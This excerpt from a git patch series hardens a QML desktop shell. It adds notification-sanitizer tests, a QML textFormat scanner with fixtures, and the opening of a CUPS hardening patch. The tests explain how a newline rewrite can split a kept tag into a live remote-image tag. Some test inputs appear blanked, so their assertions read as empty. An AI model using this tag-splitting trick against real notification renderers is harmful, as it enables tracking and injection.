") + readonly property string styledBody: NotificationLogic.styledBody(body, app, appIcon) readonly property color dimColor: Qt.darker(Color.notifications.text, 1.4) readonly property color bodyColor: Qt.darker(Color.notifications.text, 1.15) diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 6dfc54a8..f06e0481 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -44,8 +44,12 @@ function survivingTagNames(text) { return names } +// Assert on styledBody, not sanitizeBody: styledBody is the string the card +// binds to the StyledText, so it is the only one Qt ever parses. Checking the +// sanitizer's output instead would pass a body whose surviving tag the newline +// rewrite later splits open. function assertNoImageSurvives(body, description) { - const out = notifications.sanitizeBody(body, 'Slack', '') + const out = notifications.styledBody(body, 'Slack', '') const names = survivingTagNames(out) assert( !names.includes('img'), @@ -99,6 +103,48 @@ assertNoImageSurvives( 'notifications leave no image tag when U+0085 follows the angle bracket' ) +// The card rewrites newlines to
for the StyledText, which puts tag syntax +// inside a tag the stripper kept: `` is one tag named `x` +// to both the stripper and Qt, and the rewrite splits it into `` and a +// live image tag. Measured against Qt 6.11.2 — the rewritten form issues the GET +// and the original does not — so the strip has to run after the rewrite, which +// is what styledBody() does. +assertNoImageSurvives( + '', + 'notifications leave no image tag when a newline rewrite splits a kept tag' +) + +assertNoImageSurvives( + '', + 'notifications leave no image tag when a CRLF rewrite splits a kept tag' +) + +assertEqual( + notifications.styledBody('', 'Slack', ''), + '', + 'notifications drop the image half of a tag the newline rewrite splits' +) + +// The rewrite itself still happens, and body markup other than images survives it. +assertEqual( + notifications.styledBody('bold\nsecond line', 'Slack', ''), + 'bold
second line', + 'notifications keep body markup and the line break the card renders' +) + +// The order above is only worth anything if the card actually renders it, and no +// JavaScript assertion can see a QML binding. Pin the binding itself: the rewrite +// belongs in the logic module, where the strip runs after it. +const cardQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/components/NotificationCard.qml'), 'utf8') +assert( + /readonly property string styledBody: NotificationLogic\.styledBody\(body, app, appIcon\)/.test(cardQml), + 'the notification card renders the body that was stripped after the newline rewrite' +) +assert( + !//.test(cardQml), + 'the notification card does not rewrite newlines itself, which would leave tag syntax unchecked' +) + assertEqual( notifications.sanitizeBody('trailing Date: Thu, 27 Aug 2026 17:28:13 +0200 Subject: [PATCH 092/336] Close six ways the textFormat scan reported success without checking MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each of these is a Text rendering external data with no textFormat, written in a form that passed silently. None exists in this tree, so they were holes in the guard rather than live exposures — but a guard is only worth what it catches, and every one of them is a single line someone could plausibly write. Text /* why */ { strip_noise knew // and not /* */, so a block comment between the type name and its brace hid the element from every rule at once QQ.Text { ... } a namespaced import made the name compare unequal to `Text`, and the element was skipped outright visible: textFormatEnabled textFormat was matched as a substring, so a lookalike property exempted the whole block component Info: a component root with its Text on the next line; Text { the one-line form was covered and this was not an unreadable subdirectory rglob() swallows a directory it cannot enter, so a locked subtree scanned as though it were empty The scan moves out of the heredoc into qml-text-format-scan.py, taking its root as an argument, because nothing could run it over anything but the real tree — and a scanner whose only input always passes cannot be shown to fail. The test now runs it over nineteen fixtures, one per form above and one per form the scan already handled, so a later edit that loosens it fails here instead of going unnoticed until something renders a remote image. Two limits stay open and are written down in the module docstring rather than papered over: text assigned from elsewhere (a Binding element, PropertyChanges, an onCompleted assignment, a property alias onto a child) is invisible to a scanner that reads each element's own declaration, and a regex literal holding a brace throws off the brace depth. Neither shape exists in this tree and both need a QML parser, not another regex. Co-Authored-By: Codex XHigh Co-Authored-By: Claude Opus 5 (1M context) --- test/shell.d/qml-text-format-scan.py | 373 ++++++++++++++++++++ test/shell.d/qml-text-format-test.sh | 507 +++++++++++++-------------- 2 files changed, 608 insertions(+), 272 deletions(-) create mode 100644 test/shell.d/qml-text-format-scan.py diff --git a/test/shell.d/qml-text-format-scan.py b/test/shell.d/qml-text-format-scan.py new file mode 100644 index 00000000..d405e06c --- /dev/null +++ b/test/shell.d/qml-text-format-scan.py @@ -0,0 +1,373 @@ +"""Report every QML Text that renders a non-literal value without a textFormat. + +Usage: qml-text-format-scan.py ROOT (scans ROOT/shell, prints one line per +violation, exits 1 on an unreadable tree). Lives in its own file rather than a +heredoc so the test can run it over fixtures and prove it still fails when it +should — a guard nothing can fail is a guard nobody should trust. + +Two limits are deliberate, because a line scanner cannot close them. It reads +each Text element's own declaration, so text assigned from somewhere else — +`Binding { target: label; property: "text" }`, `PropertyChanges`, a +`Component.onCompleted` assignment, a `property alias` onto a child's text — +is invisible to it. And a regex literal containing a brace throws off the brace +depth. Neither shape exists in this tree; both would need a QML parser. +""" + +import os +import re +import sys +from pathlib import Path + +BLOCK_COMMENT = re.compile(r'/\*.*?\*/|/\*.*\Z', re.S) + + +def strip_block_comments(text): + """Blank out /* */ comments, keeping every newline so line numbers hold. + + strip_noise() only knows `//`, so before this a block comment between a + type name and its brace — `Text /* why */ {` — hid the element from + OPEN_ELEMENT and from the unscannable-form check alike, and the block + passed with no textFormat at all. + """ + out = [] + i = 0 + quote = None + while i < len(text): + c = text[i] + if quote: + if c == '\\': + out.append(text[i:i + 2]) + i += 2 + continue + if c == quote: + quote = None + out.append(c) + i += 1 + continue + if c in '"\'': + quote = c + out.append(c) + i += 1 + continue + if c == '/' and text.startswith('//', i): + end = text.find('\n', i) + if end == -1: + break + out.append(text[i:end]) + i = end + continue + if c == '/' and text.startswith('/*', i): + end = text.find('*/', i + 2) + end = len(text) if end == -1 else end + 2 + out.append(''.join(ch if ch == '\n' else ' ' for ch in text[i:end])) + i = end + continue + out.append(c) + i += 1 + return ''.join(out) + + +# A Text under a namespaced import — `import QtQuick as QQ` then `QQ.Text` — is +# the same element and was skipped, because the name compared unequal to `Text`. +TEXT_NAME = r'(?:[A-Za-z_][A-Za-z0-9_]*\.)?Text' + +OPEN_ELEMENT = re.compile(r'(?:^|[:\s])([A-Z][A-Za-z0-9_.]*)\s*\{\s*$') +INLINE_COMPONENT = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*' + TEXT_NAME + r'\s*\{\s*$') +INLINE_COMPONENT_ONELINE = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*' + TEXT_NAME + r'\s*\{') +PROP = re.compile(r'^\s*([A-Za-z_][A-Za-z0-9_.]*)\s*:') +STRING_LITERAL = re.compile(r'"(?:[^"\\]|\\.)*"|\'(?:[^\'\\]|\\.)*\'') +PROPERTY_DECL = re.compile(r'^\s*(?:readonly\s+)?property\b') +# A binding that runs onto the next line: this line ends on an operator, or the +# next line opens with one. +TRAILING_OPERATOR = re.compile(r'(?:&&|\|\||[?:+\-*/,(\[=&|])$') +LEADING_OPERATOR = re.compile(r'^\s*(?:&&|\|\||[?:+\-*/,)\]&|.])') + + +def strip_noise(line, keep_strings=False): + out = [] + i = 0 + quote = None + while i < len(line): + c = line[i] + if quote: + if keep_strings: + out.append(c) + if c == '\\': + if keep_strings and i + 1 < len(line): + out.append(line[i + 1]) + i += 2 + continue + if c == quote: + quote = None + if not keep_strings: + out.append('S') + i += 1 + continue + if c in '"\'': + quote = c + if keep_strings: + out.append(c) + i += 1 + continue + if c == '/' and i + 1 < len(line) and line[i + 1] == '/': + break + out.append(c) + i += 1 + return ''.join(out) + + +def is_pure_literal(expr): + residue = STRING_LITERAL.sub('', expr) + residue = re.sub(r'[\s+]', '', residue) + return residue == '' and STRING_LITERAL.search(expr) is not None + + +def binding_expression(lines, start): + """The whole right-hand side of the binding beginning on line `start`. + + The literal exemption has to be judged on the complete expression. Reading + only the physical `text:` line would exempt `text: "prefix"` while + `+ externalValue` sits underneath, letting a dynamic AutoText binding + through. Reading a wrapped concatenation of literals as dynamic would be + the opposite error, so follow the expression to its end either way. + """ + parts = [] + parens = brackets = 0 + i = start + while i < len(lines): + parts.append(strip_noise(lines[i], keep_strings=True)) + counted = strip_noise(lines[i]) + parens += counted.count('(') - counted.count(')') + brackets += counted.count('[') - counted.count(']') + # Look past blank and comment-only lines for the continuation. A + # comment or a blank line dropped into a wrapped expression does not + # end it, and stopping there would read `text: "prefix"` as the whole + # binding and exempt it as a literal while `+ externalValue` waits + # below — the exact misreading this function exists to prevent. + following = '' + for ahead in range(i + 1, len(lines)): + candidate = strip_noise(lines[ahead]) + if candidate.strip(): + following = candidate + break + continues = (parens > 0 or brackets > 0 + or TRAILING_OPERATOR.search(counted.rstrip()) + or LEADING_OPERATOR.match(following)) + if not continues: + break + i += 1 + + chunk = ' '.join(parts) + return chunk.split(':', 1)[1] if ':' in chunk else chunk + + +def exempt_as_literal(lines, tline): + """True when the binding is only string literals, however many lines.""" + return is_pure_literal(binding_expression(lines, tline)) + + +def blocks(lines): + stack = [] + done = [] + depth = 0 + for idx, raw in enumerate(lines): + code = strip_noise(raw) + opened = OPEN_ELEMENT.search(code) + prop = PROP.match(code) + if (prop and stack and stack[-1]['depth'] == depth + and not opened and not PROPERTY_DECL.match(code)): + stack[-1]['props'].setdefault(prop.group(1), idx) + n_open = code.count('{') + n_close = code.count('}') + depth += n_open - n_close + if opened and n_open > 0: + # OPEN_ELEMENT anchors at the end of the line, so the element it + # matched is the innermost one opened here and its depth is the + # depth after every brace on the line. + stack.append({'name': opened.group(1), 'depth': depth, + 'props': {}, 'start': idx}) + while stack and depth < stack[-1]['depth']: + done.append(stack.pop()) + done.extend(stack) + return done + + +INLINE_TEXT = re.compile(r'(?:^|[:\s])' + TEXT_NAME + r'\s*\{([^{}]*)\}') +INLINE_BINDING = re.compile(r'\btext\s*:\s*(.*?)\s*(?:;|$)') +# As a property of this block, not as a substring: `visible: root.textFormatEnabled` +# used to read as a declaration and exempt the element. +INLINE_TEXT_FORMAT = re.compile(r'(?:^|[;{\s])textFormat\s*:') + + +def inline_violations(lines, rel): + """Whole Text blocks written on one line. + + OPEN_ELEMENT anchors at the end of the line, so the brace scanner never + sees these. A Repeater delegate is a plausible place for one. + """ + out = [] + for idx, raw in enumerate(lines): + code = strip_noise(raw, keep_strings=True) + for match in INLINE_TEXT.finditer(code): + body = match.group(1) + if INLINE_TEXT_FORMAT.search(body): + continue + # A component root written on one line needs the default whether or + # not this line binds `text`, for the same reason the block form + # does: every caller supplies the binding. + if INLINE_COMPONENT_ONELINE.match(code): + out.append(f'{rel}:{idx + 1}: inline component root Text declares no textFormat') + continue + binding = INLINE_BINDING.search(body) + if not binding or is_pure_literal(binding.group(1)): + continue + out.append(f'{rel}:{idx + 1}: inline Text block without textFormat') + return out + + +# `Text { text: someValue` with the block carrying on below is valid QML and is +# invisible to both scanners: OPEN_ELEMENT anchors its `{` at the end of the +# line so the brace tracker never opens the block, and INLINE_TEXT needs the +# closing brace on the same line. A dynamic AutoText binding written that way +# passes this file in silence, which is the one failure a test like this must +# not have. +# +# Rather than teach a line scanner to parse QML, require the two forms it can +# read: the whole block on one line, or nothing after the opening brace. Every +# Text in this tree is already written that way, so keeping to it costs nothing. +UNSCANNABLE_TEXT = re.compile(r'(?:^|[:\s])' + TEXT_NAME + r'\s*\{\s*\S') +BARE_TEXT_OPENER = re.compile(r'(?:^|[:\s])' + TEXT_NAME + r'\s*$') + +UNSCANNABLE = ('Text block written in a form this scanner cannot read; put the ' + 'opening brace last on the line, or write the whole block on ' + 'one line with no nested braces') + + +COMPONENT_OPENER = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*$') + + +def opens_component(lines, start): + """True when the Text block at `start` is a component root declared above it.""" + for back in range(start - 1, -1, -1): + code = strip_noise(lines[back]).strip() + if not code: + continue + return bool(COMPONENT_OPENER.match(lines[back])) + return False + + +def unscannable_violations(lines, rel): + out = [] + for idx, raw in enumerate(lines): + code = strip_noise(raw) + + # `Text` with its brace on the next line. OPEN_ELEMENT needs both on + # one line, so the block is never opened and everything in it is + # attributed to the enclosing element instead. + if BARE_TEXT_OPENER.search(code): + following = '' + for ahead in range(idx + 1, len(lines)): + candidate = strip_noise(lines[ahead]).strip() + if candidate: + following = candidate + break + if following.startswith('{'): + out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') + continue + + for match in UNSCANNABLE_TEXT.finditer(code): + # A complete one-line block with no nested braces is fine — + # inline_violations reads those. Count rather than looking for a + # `}`, because `Text { text: ({ a: external }).a }` closes on this + # line yet INLINE_TEXT's brace-free body pattern cannot match it, + # so treating any `}` as "handled elsewhere" would drop it. + rest = code[match.end() - 1:] + depth = 1 + closed = False + for char in rest: + if char == '{': + depth += 1 + elif char == '}': + depth -= 1 + if depth == 0: + closed = True + break + if closed and '{' not in rest: + continue + out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') + return out + + +root = Path(sys.argv[1]) +found = [] +scanned = 0 + + +def unreadable(error): + # rglob() swallows a directory it cannot enter, so a shell/ subtree with no + # read permission scanned as though it were empty and the run reported + # success. Same failure as an empty tree, and it fails the same way. + raise SystemExit(f'cannot read {error.filename}: {error.strerror}') + + +qml = [] +for dirpath, dirnames, filenames in os.walk(root / 'shell', onerror=unreadable): + dirnames.sort() + qml.extend(Path(dirpath) / name for name in filenames if name.endswith('.qml')) + +for path in sorted(qml): + scanned += 1 + lines = strip_block_comments(path.read_text()).splitlines() + rel = path.relative_to(root) + found.extend(inline_violations(lines, rel)) + found.extend(unscannable_violations(lines, rel)) + + for b in blocks(lines): + if b['name'].split('.')[-1] != 'Text' or 'textFormat' in b['props']: + continue + + # Read the block's own properties. A nested child declaring textFormat + # says nothing about its parent, so `Text { Text { textFormat: ... } }` + # must still report the outer element. + # The root element of a component takes its binding from callers, so it + # needs the default whether or not this file binds `text`. Require both + # depth 1 and column 0: the scanner attributes one element per line, so + # a `Row { Text {` line would report depth 1 for a nested block, and + # falling through to the binding check below is the safe reading. + # Indentation is not what makes it a root; depth 1 is. A `Row { Text {` + # line still reads as `Row` here, so leading whitespace can be ignored + # without letting a nested block be mistaken for the file's root. + if b['depth'] == 1 and lines[b['start']].lstrip().startswith('Text'): + found.append(f'{rel}:{b["start"] + 1}: root Text element declares no textFormat') + continue + + # A QML inline component is a root for the same reason, and the rule + # above cannot see one: `component InfoValue: Text {` sits inside + # another element, so its depth is not 1 and its line does not start + # with `Text`. Its `text` comes from every caller, so the file it lives + # in never binds it and the binding check below lets it through in + # silence. Only one file-level root Text exists in this tree, so + # without this the root rule is very nearly dead code. + # `component Info:` may also put its `Text {` on the following line, + # which INLINE_COMPONENT cannot match and which then reads as an + # ordinary nested block with no binding of its own — a caller's dynamic + # text passing in silence. + if INLINE_COMPONENT.match(lines[b['start']]) or opens_component(lines, b['start']): + found.append(f'{rel}:{b["start"] + 1}: inline component root Text declares no textFormat') + continue + + if 'text' not in b['props']: + continue + tline = b['props']['text'] + if exempt_as_literal(lines, tline): + continue + found.append(f'{rel}:{tline + 1}: text binding without textFormat') + +# A scan that read nothing reports nothing, and an all-clear from a run that +# never opened a file is the one result this test must never give. Only a +# checkout with no shell/ QML at all reaches this. +if scanned == 0: + raise SystemExit('no .qml files found under shell/; the scan read nothing') + +for line in found: + print(line) diff --git a/test/shell.d/qml-text-format-test.sh b/test/shell.d/qml-text-format-test.sh index 0b286a76..4d987ce4 100755 --- a/test/shell.d/qml-text-format-test.sh +++ b/test/shell.d/qml-text-format-test.sh @@ -18,6 +18,11 @@ # bare string literal. A literal carries no external data, so AutoText has # nothing to promote; this test is what catches the edit that later turns such # a literal into an expression. +# +# The scan itself lives in qml-text-format-scan.py. It is run twice: over the +# real tree, and over the fixtures below, which are the forms that have already +# slipped past it once. A guard nothing can fail is a guard nobody should trust, +# and every one of those fixtures passed silently before it was written down. set -euo pipefail @@ -25,279 +30,9 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" require_command python3 -violations=$(ROOT="$ROOT" python3 <<'PY' -import os -import re -from pathlib import Path +SCAN="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/qml-text-format-scan.py" -OPEN_ELEMENT = re.compile(r'(?:^|[:\s])([A-Z][A-Za-z0-9_.]*)\s*\{\s*$') -INLINE_COMPONENT = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*Text\s*\{\s*$') -INLINE_COMPONENT_ONELINE = re.compile(r'^\s*component\s+[A-Za-z_][A-Za-z0-9_]*\s*:\s*Text\s*\{') -PROP = re.compile(r'^\s*([A-Za-z_][A-Za-z0-9_.]*)\s*:') -STRING_LITERAL = re.compile(r'"(?:[^"\\]|\\.)*"|\'(?:[^\'\\]|\\.)*\'') -PROPERTY_DECL = re.compile(r'^\s*(?:readonly\s+)?property\b') -# A binding that runs onto the next line: this line ends on an operator, or the -# next line opens with one. -TRAILING_OPERATOR = re.compile(r'(?:&&|\|\||[?:+\-*/,(\[=&|])$') -LEADING_OPERATOR = re.compile(r'^\s*(?:&&|\|\||[?:+\-*/,)\]&|.])') - - -def strip_noise(line, keep_strings=False): - out = [] - i = 0 - quote = None - while i < len(line): - c = line[i] - if quote: - if keep_strings: - out.append(c) - if c == '\\': - if keep_strings and i + 1 < len(line): - out.append(line[i + 1]) - i += 2 - continue - if c == quote: - quote = None - if not keep_strings: - out.append('S') - i += 1 - continue - if c in '"\'': - quote = c - if keep_strings: - out.append(c) - i += 1 - continue - if c == '/' and i + 1 < len(line) and line[i + 1] == '/': - break - out.append(c) - i += 1 - return ''.join(out) - - -def is_pure_literal(expr): - residue = STRING_LITERAL.sub('', expr) - residue = re.sub(r'[\s+]', '', residue) - return residue == '' and STRING_LITERAL.search(expr) is not None - - -def binding_expression(lines, start): - """The whole right-hand side of the binding beginning on line `start`. - - The literal exemption has to be judged on the complete expression. Reading - only the physical `text:` line would exempt `text: "prefix"` while - `+ externalValue` sits underneath, letting a dynamic AutoText binding - through. Reading a wrapped concatenation of literals as dynamic would be - the opposite error, so follow the expression to its end either way. - """ - parts = [] - parens = brackets = 0 - i = start - while i < len(lines): - parts.append(strip_noise(lines[i], keep_strings=True)) - counted = strip_noise(lines[i]) - parens += counted.count('(') - counted.count(')') - brackets += counted.count('[') - counted.count(']') - # Look past blank and comment-only lines for the continuation. A - # comment or a blank line dropped into a wrapped expression does not - # end it, and stopping there would read `text: "prefix"` as the whole - # binding and exempt it as a literal while `+ externalValue` waits - # below — the exact misreading this function exists to prevent. - following = '' - for ahead in range(i + 1, len(lines)): - candidate = strip_noise(lines[ahead]) - if candidate.strip(): - following = candidate - break - continues = (parens > 0 or brackets > 0 - or TRAILING_OPERATOR.search(counted.rstrip()) - or LEADING_OPERATOR.match(following)) - if not continues: - break - i += 1 - - chunk = ' '.join(parts) - return chunk.split(':', 1)[1] if ':' in chunk else chunk - - -def exempt_as_literal(lines, tline): - """True when the binding is only string literals, however many lines.""" - return is_pure_literal(binding_expression(lines, tline)) - - -def blocks(lines): - stack = [] - done = [] - depth = 0 - for idx, raw in enumerate(lines): - code = strip_noise(raw) - opened = OPEN_ELEMENT.search(code) - prop = PROP.match(code) - if (prop and stack and stack[-1]['depth'] == depth - and not opened and not PROPERTY_DECL.match(code)): - stack[-1]['props'].setdefault(prop.group(1), idx) - n_open = code.count('{') - n_close = code.count('}') - depth += n_open - n_close - if opened and n_open > 0: - # OPEN_ELEMENT anchors at the end of the line, so the element it - # matched is the innermost one opened here and its depth is the - # depth after every brace on the line. - stack.append({'name': opened.group(1), 'depth': depth, - 'props': {}, 'start': idx}) - while stack and depth < stack[-1]['depth']: - done.append(stack.pop()) - done.extend(stack) - return done - - -INLINE_TEXT = re.compile(r'(?:^|[:\s])Text\s*\{([^{}]*)\}') -INLINE_BINDING = re.compile(r'\btext\s*:\s*(.*?)\s*(?:;|$)') - - -def inline_violations(lines, rel): - """Whole Text blocks written on one line. - - OPEN_ELEMENT anchors at the end of the line, so the brace scanner never - sees these. A Repeater delegate is a plausible place for one. - """ - out = [] - for idx, raw in enumerate(lines): - code = strip_noise(raw, keep_strings=True) - for match in INLINE_TEXT.finditer(code): - body = match.group(1) - if 'textFormat' in body: - continue - # A component root written on one line needs the default whether or - # not this line binds `text`, for the same reason the block form - # does: every caller supplies the binding. - if INLINE_COMPONENT_ONELINE.match(code): - out.append(f'{rel}:{idx + 1}: inline component root Text declares no textFormat') - continue - binding = INLINE_BINDING.search(body) - if not binding or is_pure_literal(binding.group(1)): - continue - out.append(f'{rel}:{idx + 1}: inline Text block without textFormat') - return out - - -# `Text { text: someValue` with the block carrying on below is valid QML and is -# invisible to both scanners: OPEN_ELEMENT anchors its `{` at the end of the -# line so the brace tracker never opens the block, and INLINE_TEXT needs the -# closing brace on the same line. A dynamic AutoText binding written that way -# passes this file in silence, which is the one failure a test like this must -# not have. -# -# Rather than teach a line scanner to parse QML, require the two forms it can -# read: the whole block on one line, or nothing after the opening brace. Every -# Text in this tree is already written that way, so keeping to it costs nothing. -UNSCANNABLE_TEXT = re.compile(r'(?:^|[:\s])Text\s*\{\s*\S') -BARE_TEXT_OPENER = re.compile(r'(?:^|[:\s])Text\s*$') - -UNSCANNABLE = ('Text block written in a form this scanner cannot read; put the ' - 'opening brace last on the line, or write the whole block on ' - 'one line with no nested braces') - - -def unscannable_violations(lines, rel): - out = [] - for idx, raw in enumerate(lines): - code = strip_noise(raw) - - # `Text` with its brace on the next line. OPEN_ELEMENT needs both on - # one line, so the block is never opened and everything in it is - # attributed to the enclosing element instead. - if BARE_TEXT_OPENER.search(code): - following = '' - for ahead in range(idx + 1, len(lines)): - candidate = strip_noise(lines[ahead]).strip() - if candidate: - following = candidate - break - if following.startswith('{'): - out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') - continue - - for match in UNSCANNABLE_TEXT.finditer(code): - # A complete one-line block with no nested braces is fine — - # inline_violations reads those. Count rather than looking for a - # `}`, because `Text { text: ({ a: external }).a }` closes on this - # line yet INLINE_TEXT's brace-free body pattern cannot match it, - # so treating any `}` as "handled elsewhere" would drop it. - rest = code[match.end() - 1:] - depth = 1 - closed = False - for char in rest: - if char == '{': - depth += 1 - elif char == '}': - depth -= 1 - if depth == 0: - closed = True - break - if closed and '{' not in rest: - continue - out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') - return out - - -root = Path(os.environ['ROOT']) -found = [] -scanned = 0 -for path in sorted((root / 'shell').rglob('*.qml')): - scanned += 1 - lines = path.read_text().splitlines() - rel = path.relative_to(root) - found.extend(inline_violations(lines, rel)) - found.extend(unscannable_violations(lines, rel)) - - for b in blocks(lines): - if b['name'] != 'Text' or 'textFormat' in b['props']: - continue - - # Read the block's own properties. A nested child declaring textFormat - # says nothing about its parent, so `Text { Text { textFormat: ... } }` - # must still report the outer element. - # The root element of a component takes its binding from callers, so it - # needs the default whether or not this file binds `text`. Require both - # depth 1 and column 0: the scanner attributes one element per line, so - # a `Row { Text {` line would report depth 1 for a nested block, and - # falling through to the binding check below is the safe reading. - # Indentation is not what makes it a root; depth 1 is. A `Row { Text {` - # line still reads as `Row` here, so leading whitespace can be ignored - # without letting a nested block be mistaken for the file's root. - if b['depth'] == 1 and lines[b['start']].lstrip().startswith('Text'): - found.append(f'{rel}:{b["start"] + 1}: root Text element declares no textFormat') - continue - - # A QML inline component is a root for the same reason, and the rule - # above cannot see one: `component InfoValue: Text {` sits inside - # another element, so its depth is not 1 and its line does not start - # with `Text`. Its `text` comes from every caller, so the file it lives - # in never binds it and the binding check below lets it through in - # silence. Only one file-level root Text exists in this tree, so - # without this the root rule is very nearly dead code. - if INLINE_COMPONENT.match(lines[b['start']]): - found.append(f'{rel}:{b["start"] + 1}: inline component root Text declares no textFormat') - continue - - if 'text' not in b['props']: - continue - tline = b['props']['text'] - if exempt_as_literal(lines, tline): - continue - found.append(f'{rel}:{tline + 1}: text binding without textFormat') - -# A scan that read nothing reports nothing, and an all-clear from a run that -# never opened a file is the one result this test must never give. Only a -# checkout with no shell/ QML at all reaches this. -if scanned == 0: - raise SystemExit('no .qml files found under shell/; the scan read nothing') - -for line in found: - print(line) -PY -) +violations=$(python3 "$SCAN" "$ROOT") if [[ -n $violations ]]; then count=$(printf '%s\n' "$violations" | wc -l) @@ -311,3 +46,231 @@ deliberate, documented feature, and strip before it reaches the renderer." fi pass "every Text with a dynamic text binding declares textFormat" + +# The scanner's own tests. Each fixture is a Text that renders external data +# with no textFormat, written in a form that once passed. `caught` asserts the +# scan reports something; `clean` asserts it does not, so the fixtures prove the +# scanner can fail rather than that it fails at everything. +fixture_root=$(mktemp -d) +trap 'chmod -R u+rwX "$fixture_root" 2>/dev/null; rm -rf "$fixture_root"' EXIT + +function scan_fixture { + local name=$1 + local dir="$fixture_root/$name" + mkdir -p "$dir/shell/Ui" + cat > "$dir/shell/Ui/Fixture.qml" + python3 "$SCAN" "$dir" 2>&1 +} + +function caught { + local name=$1 description=$2 output + output=$(scan_fixture "$name" || true) + if [[ -z $output ]]; then + fail "$description" "the scan reported nothing for fixture $name" + fi + pass "$description" +} + +function clean { + local name=$1 description=$2 output + output=$(scan_fixture "$name" || true) + if [[ -n $output ]]; then + fail "$description" "the scan reported: $output" + fi + pass "$description" +} + +caught plain "the scan reports a plain dynamic binding with no textFormat" <<'QML' +import QtQuick +Item { + property string external: "x" + Text { + text: external + } +} +QML + +clean literal "the scan leaves a string literal alone" <<'QML' +import QtQuick +Item { + Text { + text: "a literal" + } +} +QML + +clean declared "the scan leaves a declared textFormat alone" <<'QML' +import QtQuick +Item { + property string external: "x" + Text { + textFormat: Text.PlainText + text: external + } +} +QML + +# strip_noise() knew `//` and not `/* */`, so a block comment between the type +# name and its brace hid the whole element from every rule. +caught block-comment "the scan reads a Text whose brace a block comment hides" <<'QML' +import QtQuick +Item { + property string external: "x" + Text /* explanation */ { + text: external + } +} +QML + +caught block-comment-multiline "the scan reads past a block comment spanning lines" <<'QML' +import QtQuick +Item { + property string external: "x" + /* + * Text { text: "not this one" } + */ + Text { + text: external + } +} +QML + +# `import QtQuick as QQ` makes the element `QQ.Text`, which compared unequal to +# `Text` and was skipped outright. +caught namespaced "the scan reads a Text reached through a namespaced import" <<'QML' +import QtQuick as QQ +QQ.Item { + property string external: "x" + QQ.Text { + text: external + } +} +QML + +# textFormat was matched as a substring, so any property whose name merely +# started that way exempted the element. +caught namespaced-inline "the scan reads a one-line namespaced Text block" <<'QML' +import QtQuick as QQ +QQ.Item { + property string external: "x" + QQ.Text { text: external } +} +QML + +caught namespaced-unscannable "the scan rejects an unreadable namespaced Text block" <<'QML' +import QtQuick as QQ +QQ.Item { + property string external: "x" + QQ.Text { text: external + color: "red" + } +} +QML + +caught textformat-substring "the scan does not accept a lookalike property as textFormat" <<'QML' +import QtQuick +Item { + property string external: "x" + property bool textFormatEnabled: true + Text { text: external; visible: textFormatEnabled } +} +QML + +# A component root takes its text from every caller, so the file it lives in +# never binds it. The one-line form was covered; this one was not. +caught component-next-line "the scan reads a component root whose Text sits on the next line" <<'QML' +import QtQuick +Item { + component Info: + Text { + } +} +QML + +caught component-one-line "the scan reads a component root written on one line" <<'QML' +import QtQuick +Item { + component Info: Text { color: "red" } +} +QML + +# Forms the scanner cannot read are reported rather than passed, which is the +# whole reason it can be a line scanner at all. +caught brace-next-line "the scan rejects a Text whose opening brace is on the next line" <<'QML' +import QtQuick +Item { + property string external: "x" + Text + { + text: external + } +} +QML + +caught trailing-binding "the scan rejects a Text with a binding after the opening brace" <<'QML' +import QtQuick +Item { + property string external: "x" + Text { text: external + color: "red" + } +} +QML + +# A wrapped binding is judged whole: a literal first line says nothing about +# what is concatenated onto it below. +caught wrapped-binding "the scan follows a wrapped binding past its literal first line" <<'QML' +import QtQuick +Item { + property string external: "x" + Text { + text: "prefix" + + external + } +} +QML + +clean wrapped-literals "the scan leaves a wrapped concatenation of literals alone" <<'QML' +import QtQuick +Item { + Text { + text: "one" + + "two" + } +} +QML + +# A nested child's textFormat says nothing about its parent. +caught nested-child "the scan does not let a nested child's textFormat cover its parent" <<'QML' +import QtQuick +Text { + text: external.value + Text { + textFormat: Text.PlainText + text: "literal" + } +} +QML + +# A scan that reads less than the tree holds must not report success. Both of +# these once did. +empty_root=$(mktemp -d) +mkdir -p "$empty_root/shell" +if python3 "$SCAN" "$empty_root" > /dev/null 2>&1; then + rm -rf "$empty_root" + fail "the scan fails when it reads no files" "an empty shell/ tree exited 0" +fi +rm -rf "$empty_root" +pass "the scan fails when it reads no files" + +blind_root="$fixture_root/blind" +mkdir -p "$blind_root/shell/Ui/locked" +printf 'import QtQuick\nItem {\n Text {\n textFormat: Text.PlainText\n text: "ok"\n }\n}\n' > "$blind_root/shell/Ui/Good.qml" +printf 'import QtQuick\nItem {\n property string external: "x"\n Text {\n text: external\n }\n}\n' > "$blind_root/shell/Ui/locked/Bad.qml" +chmod 000 "$blind_root/shell/Ui/locked" +if python3 "$SCAN" "$blind_root" > /dev/null 2>&1; then + chmod 755 "$blind_root/shell/Ui/locked" + fail "the scan fails when a directory hides files from it" "an unreadable subdirectory exited 0" +fi +chmod 755 "$blind_root/shell/Ui/locked" +pass "the scan fails when a directory hides files from it" From 5c336885d22f97e4cb00b2512eea5d3dba74f38e Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Thu, 27 Aug 2026 17:43:39 +0100 Subject: [PATCH 093/336] Harden CUPS printer discovery Run cups-browsed as a locked service account with a dedicated cache and a focused systemd sandbox. Restrict automatic queues to driverless IPP printers, remove wheel from passwordless CUPS administration, replace cups-pdf with Polkit-backed setup, and migrate existing systems safely. Reported-By: Erik Hunstad (Bad Sector Labs) Co-Authored-By: Daybreak Blue --- etc/cups/cups-browsed.conf | 12 +- .../cups-browsed.service.d/10-omarchy.conf | 11 ++ etc/sysusers.d/omarchy-cups-browsed.conf | 1 + install/config/all.sh | 1 + install/config/printing.sh | 83 +++++++++ 